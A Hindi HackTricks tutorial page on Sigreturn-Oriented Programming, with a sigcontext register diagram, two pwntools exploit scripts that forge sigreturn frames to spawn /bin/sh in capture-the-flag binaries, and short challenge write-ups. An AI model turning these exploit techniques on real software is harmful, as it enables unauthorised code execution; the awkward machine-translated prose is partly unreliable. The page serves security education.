SROP - Sigreturn-Oriented Programming

जीरो से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

मूल जानकारी

Sigreturn एक विशेष सिस्टम कॉल है जो मुख्य रूप से इसका उपयोग करता है कि सिग्नल हैंडलर ने अपना कार्य समाप्त कर दिया है को साफ करें। सिग्नल्स एक कार्यक्रम को ऑपरेटिंग सिस्टम द्वारा भेजे गए विघटनों को सूचित करने के लिए भेजे जाते हैं। जब कोई कार्यक्रम एक सिग्नल प्राप्त करता है, तो वह अपने वर्तमान कार्य को रोक देता है ताकि वह सिग्नल हैंडलर के साथ सिग्नल का सामना कर सके, जो सिग्नल के साथ निपटने के लिए डिज़ाइन की गई एक विशेष फ़ंक्शन है।

सिग्नल हैंडलर समाप्त होने के बाद, कार्यक्रम को अपनी पिछली स्थिति पुनः आरंभ करनी चाहिए जैसे कि कुछ भी नहीं हुआ है। यहाँ sigreturn काम आता है। यह कार्यक्रम को सिग्नल हैंडलर से वापस लौटने और सिग्नल हैंडलर द्वारा उपयोग किए गए स्टैक फ्रेम (फ़ंक्शन कॉल्स और स्थानीय चर) को साफ करके कार्यक्रम की स्थिति को पुनर्स्थापित करने में मदद करता है।

रूचिकर भाग यह है कि sigreturn कैसे कार्यक्रम की स्थिति को पुनर्स्थापित करता है: यह इसे करके करता है कि सभी सीपीयू के रजिस्टर मानों को स्टैक पर स्टोर करता है। जब सिग्नल अब और नहीं ब्लॉक होता है, sigreturn इन मानों को स्टैक से पॉप करता है, असल में सीपीयू के रजिस्टर को उनकी स्थिति पुनः सेट करता है जिससे सिग्नल को हैंडल किया गया था। इसमें स्टैक प्वाइंटर रजिस्टर (आरएसपी) भी शामिल है, जो स्टैक के वर्तमान शीर्ष को दर्शाता है।

एक आरओपी श्रृंखला से सिस्टम कॉल sigreturn को बुलाना और स्टैक में लोड करना चाहिए रजिस्ट्री मान जिन्हें हम चाहेंगे कि यह नियंत्रित करें सभी रजिस्टर मान और इसलिए कॉल करें उदाहरण के लिए सिस्टम कॉल execve के लिए /bin/sh

ध्यान दें कि यह एक रेट2सिस्टम के प्रकार होगा जो अन्य रेट2सिस्टम को कॉल करने के लिए पैराम्स को नियंत्रित करना बहुत आसान बनाता है:

pageRet2syscall

यदि आप कौरियस हैं तो यह है स्टैक में स्टोर किए गए सिगकॉन्टेक्स्ट संरचना जिसे बाद में मानों को पुनः प्राप्त करने के लिए स्टैक में स्टोर किया गया है (डायग्राम यहाँ से):

+--------------------+--------------------+
| rt_sigeturn()      | uc_flags           |
+--------------------+--------------------+
| &uc                | uc_stack.ss_sp     |
+--------------------+--------------------+
| uc_stack.ss_flags  | uc.stack.ss_size   |
+--------------------+--------------------+
| r8                 | r9                 |
+--------------------+--------------------+
| r10                | r11                |
+--------------------+--------------------+
| r12                | r13                |
+--------------------+--------------------+
| r14                | r15                |
+--------------------+--------------------+
| rdi                | rsi                |
+--------------------+--------------------+
| rbp                | rbx                |
+--------------------+--------------------+
| rdx                | rax                |
+--------------------+--------------------+
| rcx                | rsp                |
+--------------------+--------------------+
| rip                | eflags             |
+--------------------+--------------------+
| cs / gs / fs       | err                |
+--------------------+--------------------+
| trapno             | oldmask (unused)   |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate           |
+--------------------+--------------------+
| __reserved         | sigmask            |
+--------------------+--------------------+

उदाहरण

आप यहाँ एक उदाहरण पा सकते हैं जहाँ साइनरिटर्न कॉल ROP के माध्यम से निर्मित किया गया है (जिसमें rxa में मान 0xf डाला गया है), हालांकि यहाँ से अंतिम उत्पीड़न है:

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()

BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = BINSH           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = SYSCALL_RET

payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)         # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

यहाँ से एक्सप्लॉइट देखें जहाँ बाइनरी पहले से ही sigreturn को कॉल कर रहा था और इसलिए उसे ROP के साथ बिल्ड करने की आवश्यकता नहीं है:

from pwn import *

# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)

# Establish the target architecture
context.arch = "amd64"

# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)

# Start making our sigreturn frame
frame = SigreturnFrame()

frame.rip = 0x400185 # Syscall instruction
frame.rax = 59       # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0      # NULL
frame.rdx = 0x0      # NULL

payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack

target.sendline(payload) # Send the target payload

# Drop to an interactive shell
target.interactive()

अन्य उदाहरण और संदर्भ

  • एसेम्बली बाइनरी जो स्टैक पर लिखने की अनुमति देता है और फिर sigreturn सिस्टम कॉल करता है। संभावना है कि स्टैक पर ret2syscall लिखा जा सकता है एक sigreturn संरचना के माध्यम से और फ्लैग पढ़ा जा सकता है जो बाइनरी की मेमोरी में है।

  • एसेम्बली बाइनरी जो स्टैक पर लिखने की अनुमति देता है और फिर sigreturn सिस्टम कॉल करता है। संभावना है कि स्टैक पर ret2syscall लिखा जा सकता है एक sigreturn संरचना के माध्यम से (बाइनरी में स्ट्रिंग /bin/sh है)।

  • 64 बिट, कोई relro नहीं, कोई कैनेरी नहीं, एनएक्स, कोई पाई। gets फ़ंक्शन का दुरुपयोग करके सरल बफर ओवरफ़्लो करना जो ret2syscall का कार्य करता है। ROP श्रृंखला /bin/sh को लिखती है .bss में फिर से कॉल करके, यह alarm फ़ंक्शन का दुरुपयोग करता है ताकि eax को 0xf पर सेट करें और एक SROP को कॉल करने और शैल को चलाने के लिए।

  • 64 बिट एसेम्बली प्रोग्राम, कोई relro नहीं, कोई कैनेरी नहीं, एनएक्स, कोई पाई। फ्लो स्टैक में लिखने की अनुमति देता है, कई रजिस्टर को नियंत्रित करता है, और एक सिस्टम कॉल करता है और फिर exit को कॉल करता है। चयनित सिस्टम कॉल एक sigreturn है जो रजिस्ट्री सेट करेगा और eip को पिछले सिस्टम कॉल निर्देश को कॉल करने और memprotect को चलाने के लिए सेट करेगा बाइनरी स्थान को rwx और ESP को बाइनरी स्थान में सेट करेगा। फ्लो का पालन करते हुए, प्रोग्राम फिर से ESP में पढ़ने को कॉल करेगा, लेकिन इस मामले में ESP अगले निर्देश पर पहुंचेगा इसलिए शैलकोड पास करने पर यह अगले निर्देश के रूप में लिखेगा और इसे चलाएगा।

  • SROP का उपयोग एक जगह को निषेधित करने के लिए किया जाता है जहां एक शैलकोड रखा गया था।

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated